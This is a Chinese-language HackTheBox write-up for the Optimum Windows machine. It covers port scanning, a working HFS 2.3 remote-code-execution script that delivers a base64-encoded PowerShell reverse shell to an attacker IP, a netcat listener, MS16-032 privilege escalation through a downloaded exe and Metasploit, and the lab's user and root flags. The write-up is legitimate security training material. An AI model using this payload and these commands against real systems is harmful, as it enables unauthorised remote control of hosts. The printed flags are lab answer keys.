> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md). # Optimum HackTheBox 复盘 Optimum HackTheBox 简单 Windows 复盘，涵盖 HFS 2.3 RCE 和 MS16-032 提权。 {% embed url="" %} {% hint style="warning" %} **技术** * HttpFileServer 2.3 远程代码执行 * Windows 主机枚举 * MS16-032 本地权限提升 {% endhint %} ## 侦察 ### 准备工作区为该机器创建专用目录： ```bash mkdir Optimum cd Optimum ```

该 `127` TTL 表明目标运行的是 Windows。

### 发现开放端口扫描每个 TCP 端口并保存结果： ```bash sudo nmap -p- --open -sS -n -Pn --min-rate 5000 10.129.5.151 -oG allPorts ``` Nmap 识别出端口 `80` 是唯一开放的端口。

### 识别 Web 服务对端口 `80`: ```bash sudo nmap -sCV -p80 10.129.5.151 -oN targeted ```

目标运行的是 HttpFileServer 2.3。该版本存在已知的远程代码执行漏洞。 ```bash searchsploit httpfileserver ```

### 利用 HFS 2.3 使用以下 Python 脚本发送经过编码的 PowerShell 反向 shell。请先更新监听端和目标值： ```bash import requests import urllib import base64 lhost = '10.10.15.2' # 修改此处 lport = '1234' # 修改此处 rhost = '10.129.5.151' # 修改此处 rport = '80' # 修改此处 command = '$client = New-Object System.Net.Sockets.TCPClient("' + lhost + '",' + lport + ');$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' command_bytes = command.encode('utf-16le') base64_bytes = base64.b64encode(command_bytes) encodedcommand = base64_bytes.decode('ascii') payload = 'exec|powershell.exe -ep bypass -encodedcommand ' + encodedcommand encodedpayload = urllib.parse.quote_plus(payload) url = 'http://' + rhost + ':' + rport + '/?search=%00{.' + encodedpayload + '.}' r = requests.get(url) if r.status_code == 200: print('已发送 GET 请求') else: print('请求发送失败') ``` 在运行脚本前启动监听器： ```bash rlwrap nc -nvlp 1234 ``` 在本地机器上运行该漏洞利用： ```bash python3 rce.py ``` 目标会以 PowerShell 反向 shell 连接回来。

### 获取用户 flag {% code overflow="wrap" %} ```bash type C:\Users\kostas\Desktop\user.txt ``` {% endcode %} * f2f8d68c549c18e1b94d2c99207e3022

## 权限提升 ### 识别提权路径检查目标操作系统： {% code overflow="wrap" %} ```bash systeminfo ``` {% endcode %} 目标运行的是 Windows Server 2012 R2。

该主机易受 MS16-032 x64 内核提权漏洞影响。 {% embed url="" %} 下载漏洞利用仓库并定位编译好的载荷： {% code overflow="wrap" %} ```bash windows-kernel-exploits/MS16-032/x64/ms16-032.exe ``` {% endcode %} ### 传输漏洞利用程序在包含该漏洞利用程序的目录中启动 SMB 服务器： {% code overflow="wrap" %} ```bash sudo /home/jordan/.local/bin/smbserver.py share $(pwd) -smb2support ``` {% endcode %} 将可执行文件复制到目标机： ```bash copy \\10.10.15.2\share\ms16-032.exe . ```

```bash copy \\10.10.15.2\share\MS16-032.ps1 . ``` 此主机上没有可用的 PowerShell 载荷。

### 使用 Metasploit 利用 MS16-032 也可以使用 Metasploit 作为替代： {% code overflow="wrap" %} ```bash search ms16-032 ``` {% endcode %}

选择 MS16-032 模块并将其运行到活动会话上： {% code overflow="wrap" %} ```bash use 0 set SESSION 2 run getuid ``` {% endcode %} 该会话现在以 `NT AUTHORITY\SYSTEM`.

### 获取 root 标志 {% code overflow="wrap" %} ```bash type C:\Users\Administrator\Desktop\root.txt ``` {% endcode %} * 0d795fff7eac20e753543b412dfa5c34

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